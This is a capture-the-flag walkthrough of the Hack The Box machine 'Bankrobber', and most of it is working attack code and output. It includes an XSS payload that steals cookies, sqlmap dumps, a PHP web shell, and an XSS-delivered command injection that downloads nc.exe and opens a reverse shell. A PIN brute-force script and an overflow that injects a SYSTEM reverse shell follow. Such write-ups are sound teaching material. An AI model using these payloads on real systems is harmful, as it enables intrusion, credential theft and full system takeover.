Details
This machine is Bankrobber from Hack The Box
Recon
I started with a simple nmap scan
root@kali:~# nmap -sV -p- 10.10.10.154
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 19:05 GMT
Nmap scan report for 10.10.10.154
Host is up (0.024s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 198.36 seconds
User
So I tried port 80 http://10.10.10.154/
Then port 443 https://10.10.10.154/
I ran dirbuster
And checkout notes.txt
So we're on XAMPP, and comments are encoded in someway. It specifically says that localhost ones aren't so we may be looking at some kind of SSRF. The admin endpoint give
So I went back to the main page and signed up with test:password
And I logged in at https://10.10.10.154/user/
I still can't access the admin endpoint, but I can try sending this with a message to the admin, I tried entering the following while running a simplehttpserver
1
1
<img src="http://10.10.14.27"/>
and was shown
Even better, I don't need the admin id as it is already being shown to them. After a minute in my simplehttpserver
10.10.10.154 - - [25/Feb/2020 19:41:07] "GET / HTTP/1.1" 200 -
So it worked with the XSS, so I'll grab the admins cookie by submitting
1
1
<img src="http://10.10.14.27/nope" onerror="this.src='http://10.10.14.27/?c='+document.cookie" />
And after a minute
10.10.10.154 - - [25/Feb/2020 19:50:48] "GET /nope HTTP/1.1" 404 -
10.10.10.154 - - [25/Feb/2020 19:50:49] "GET /?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -
This is
username=YWRtaW4%3D
password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D
id=1
I decoded the base64 and got
admin
Hopelessromantic
I used these creds to login as admin and access the admin endpoint
The backdoor checker looked interesting, so I tried running "dir"
That is annoying, I tried a single quote in the user search field next
That is interesting, so I tried
' #
Which caused no error, so I looked for the code that made these requests and found it in https://10.10.10.154/js/system.js
With this I setup sqlmap, saving one of the requests using burp
root@kali:~# sqlmap -r /tmp/search --level=5 --risk=3 --dump
[SNIP]
Database: bankrobber
Table: hold
[0 entries]
+----+--------+---------+----------+------------+
| id | amount | comment | userIdTo | userIdFrom |
+----+--------+---------+----------+------------+
+----+--------+---------+----------+------------+
[SNIP]
Database: bankrobber
Table: users
[3 entries]
+----+------------------+----------+
| id | password | username |
+----+------------------+----------+
| 1 | Hopelessromantic | admin |
| 2 | gio | gio |
| 3 | password | test |
+----+------------------+----------+
[SNIP]
Database: bankrobber
Table: balance
[11 entries]
+----+--------+--------+
| id | userid | amount |
+----+--------+--------+
| 1 | 2 | 35 |
| 2 | 3 | 990 |
| 6 | 4 | 2048 |
| 7 | 5 | 1000 |
| 8 | 6 | 1000 |
| 9 | 7 | 1000 |
| 10 | 8 | 1000 |
| 11 | 9 | 1000 |
| 12 | 5 | 1000 |
| 13 | 6 | 1000 |
| 14 | 3 | 1000 |
+----+--------+--------+
Some new info there, but nothing specifically helpful, except maybe a username of gio. I ran it again but this time getting an sql shell
sqlmap -r /tmp/search --level=5 --risk=3 --sql-shell
sql-shell>
I used this to dump the mysql users table
sql-shell> select host,user,password from mysql.user;
[20:29:04] [INFO] fetching SQL SELECT statement query output: 'select host,user,password from mysql.user'
select host,user,password from mysql.user [5]:
[*] localhost, root, *F435725A173757E57BD36B09048B8B610FF4D0C4
[*] 127.0.0.1, root, *F435725A173757E57BD36B09048B8B610FF4D0C4
[*] ::1, root, *F435725A173757E57BD36B09048B8B610FF4D0C4
[*] localhost, ,
[*] localhost, pma,
My hope is I am root so can read/write files
sql-shell> select load_file('C:\Windows\System32\Drivers\etc\hosts');
[20:31:37] [INFO] fetching SQL SELECT statement query output: 'select load_file('C:\Windows\System32\Drivers\etc\hosts')'
select load_file('C:\Windows\System32\Drivers\etc\hosts'): '# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# This file contains the mappings of IP addresses to host names. Each\r\n# entry should be kept on an individual line. The IP address should\r\n# be placed in the first column followed by the corresponding host name.\r\n# The IP address and the host name should be separated by at least one\r\n# space.\r\n#\r\n# Additionally, comments (such as these) may be inserted on individual\r\n# lines or following the machine name denoted by a '#' symbol.\r\n#\r\n# For example:\r\n#\r\n# 102.54.94.97 rhino.acme.com # source server\r\n# 38.25.63.10 x.acme.com # x client host\r\n\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1 localhost\r\n#\t::1 localhost\r\n'
I can read files, so next I tested if the XAMPP install is in the default location
sql-shell> select load_file('C:\xampp\htdocs\index.php');
[20:32:37] [INFO] fetching SQL SELECT statement query output: 'select load_file('C:\xampp\htdocs\index.php')'
select load_file('C:\xampp\htdocs\index.php'):
[SNIP]
It is there, so I tried to write a php file there, making a file called shell.php containing
<?php system($_GET['c']); ?>
Then attempting the upload
root@kali:~# sqlmap -r /tmp/search --level=5 --risk=3 --file-write=/tmp/shell.php --file-dest="C:/xampp/htdocs/shell.php"
I tried to test it at http://10.10.10.154/shell.php
It seems like I can't write to the web root then. But I can read files, so I'll take a look at the code for that backdoor checker to see if I can bypass the blocks
sql-shell> select load_file('C:\xampp\htdocs\admin\backdoorchecker.php');
[20:44:43] [INFO] fetching SQL SELECT statement query output: 'select load_file('C:\xampp\htdocs\admin\backdoorchecker.php')'
select load_file('C:\xampp\htdocs\admin\backdoorchecker.php'): '<?php\r\ninclude('../link.php');\r\ninclude('auth.php');\r\n\r\n$username = base64_decode(urldecode($_COOKIE['username']));\r\n$password = base64_decode(urldecode($_COOKIE['password']));\r\n$bad \t = array('$(','&');\r\n$good \t = "ls";\r\n\r\nif(strtolower(substr(PHP_OS,0,3)) == "win"){\r\n\t$good = "dir";\r\n}\r\n\r\nif($username == "admin" && $password == "Hopelessromantic"){\r\n\tif(isset($_POST['cmd'])){\r\n\t\t\t// FILTER ESCAPE CHARS\r\n\t\t\tforeach($bad as $char){\r\n\t\t\t\tif(strpos($_POST['cmd'],$char) !== false){\r\n\t\t\t\t\tdie("You're not allowed to do that.");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// CHECK IF THE FIRST 2 CHARS ARE LS\r\n\t\t\tif(substr($_POST['cmd'], 0,strlen($good)) != $good){\r\n\t\t\t\tdie("It's only allowed to use the $good command");\r\n\t\t\t}\r\n\r\n\t\t\tif($_SERVER['REMOTE_ADDR'] == "::1"){\r\n\t\t\t\tsystem($_POST['cmd']);\r\n\t\t\t} else{\r\n\t\t\t\techo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";\r\n\t\t\t}\r\n\t}\r\n} else{\r\n\techo "You are not allowed to use this function!";\r\n}\r\n?>'
Nicely formatted this is
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
So the command needs to start with dir
and cant contain $(
or &
, but they haven't blocked |
or ;
, but I need to bypass that remote_addr check. I was hoping the admin is logged in locally, so the XSS against the admin can get my past that check. So I exposed nc.exe on my simplehttpserver and set a listener, then I sent the following XSS payload
<img src="http://10.10.14.27/r"/>
<script type="text/javascript">
var http = new XMLHttpRequest();
var url='/admin/backdoorchecker.php';
var params='cmd=dir| powershell -c "Invoke-WebRequest -URI http://10.10.14.27/nc.exe -OutFile %temp%\nc.exe";%temp%\nc.exe -e powershell.exe 10.10.14.27 4444';
http.open("POST", url, true);
http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
http.send(params);
</script>
The image at the beginning was to act as a callback when it ran in case I had messed up the AJAX, after a little bit
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.154] 49709
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
Cannot load PSReadline module. Console is running without PSReadline.
PS C:\xampp\htdocs\admin>
I now had a shell
PS C:\xampp\htdocs\admin> whoami
bankrobber\cortin
So I went for my first flag
PS C:\Users\Cortin\Desktop> dir
dir
Directory: C:\Users\Cortin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 25-4-2019 03:40 32 user.txt
PS C:\Users\Cortin\Desktop> type user.txt
[REDACTED]
System Hunting
So I began to look around the file system and found
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 25-4-2019 00:27 PerfLogs
d-r--- 22-8-2019 20:04 Program Files
d-r--- 27-4-2019 16:02 Program Files (x86)
d-r--- 24-4-2019 18:52 Users
d----- 16-8-2019 17:29 Windows
da---- 25-4-2019 00:18 xampp
-a---- 25-4-2019 19:50 57937 bankv2.exe
This bankv2.exe looked interesting but I can't exfil it, but I can see it is running
PS C:\> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
58 5 608 152 1384 0 bankv2
PS C:\> netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
[SNIP]
TCP 0.0.0.0:910 0.0.0.0:0 LISTENING 1384
[SNIP]
It is listening on port 910, I'll see what it does
PS C:\Users\Cortin> .\nc.exe 127.0.0.1 910
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$]
i tried 1234
[!] Access denied, disconnecting client....
I want to brute force this, but I'll port forward it out with plink first
PS C:\Users\Cortin> Invoke-WebRequest -URI http://10.10.14.27/plink.exe -OutFile C:\Users\Cortin\plink.exe
PS C:\Users\Cortin> .\plink.exe -l plink -pw [REDACTED] 10.10.14.27 -R 9999:127.0.0.1:910
I can now access it locally
root@kali:~# nc 127.0.0.1 9999
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$]
I then threw together a simple brute force script
from pwn import *
import sys
def main():
for d_1 in range(0,10):
for d_2 in range(0,10):
for d_3 in range(0,10):
for d_4 in range(0,10):
con = remote('127.0.0.1', '9999')
rec = con.recvuntil("[$]")
code = "{}{}{}{}".format(d_1, d_2, d_3, d_4)
con.send(code.encode())
rec = con.recvline().decode()
print("For {}".format(code))
print(rec)
if "Access denied" not in rec:
print("!!!! DONE !!!!")
sys.exit(0)
if __name__ == '__main__':
main()
I tested this and the tool gave me a pin of 0021 which I tested manually
root@kali:~# nc 127.0.0.1 9999
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$] 0021
[$] PIN is correct, access granted!
--------------------------------------------------------------
Please enter the amount of e-coins you would like to transfer:
[$]
I entered 100
[$] Transfering $100 using our e-coin transfer application.
[$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe
[$] Transaction in progress, you can safely disconnect...
So I tried again, this time enetering a load of A's as the input
root@kali:~# nc 127.0.0.1 9999
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
[$] 0021
[$] PIN is correct, access granted!
--------------------------------------------------------------
Please enter the amount of e-coins you would like to transfer:
[$] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[$] Transfering $AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA using our e-coin transfer application.
[$] Executing e-coin transfer tool: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
So it seems I can overwrite the program being executed, a bit of manual tested showed this happens at 32 characters on input, so I set myself a new listener
root@kali:~# nc -nvlp 6666
And injected a call the my nc
nc 127.0.0.1 9999
--------------------------------------------------------------
Internet E-Coin Transfer System
International Bank of Sun church
v0.1 by Gio & Cneeliz
--------------------------------------------------------------
Please enter your super secret 4 digit PIN code to login:
# [$] 0021
[$] PIN is correct, access granted!
--------------------------------------------------------------
Please enter the amount of e-coins you would like to transfer:
[$]
And entered
11111111111111111111111111111111C:\Users\Cortin\nc.exe 10.10.14.27 6666 -e powershell.exe
Which led to
[$] Transfering $11111111111111111111111111111111C:\Users\Cortin\nc.exe 10.10.14.27 6666 -e powershell.exe using our e-coin transfer application.
[$] Executing e-coin transfer tool: C:\Users\Cortin\nc.exe 10.10.14.27 6666 -e powershell.exe
[$] Transaction in progress, you can safely disconnect...
In the listener
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.154] 60743
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
Cannot load PSReadline module. Console is running without PSReadline.
PS C:\Windows\system32>
A new shell
PS C:\Windows\system32> whoami
nt authority\system
Nice, now the flag,
PS C:\Windows\system32> cd C:\Users\admin\Desktop
PS C:\Users\admin\Desktop> dir
Directory: C:\Users\admin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 25-4-2019 03:39 32 root.txt
PS C:\Users\admin\Desktop> type root.txt
[REDACTED]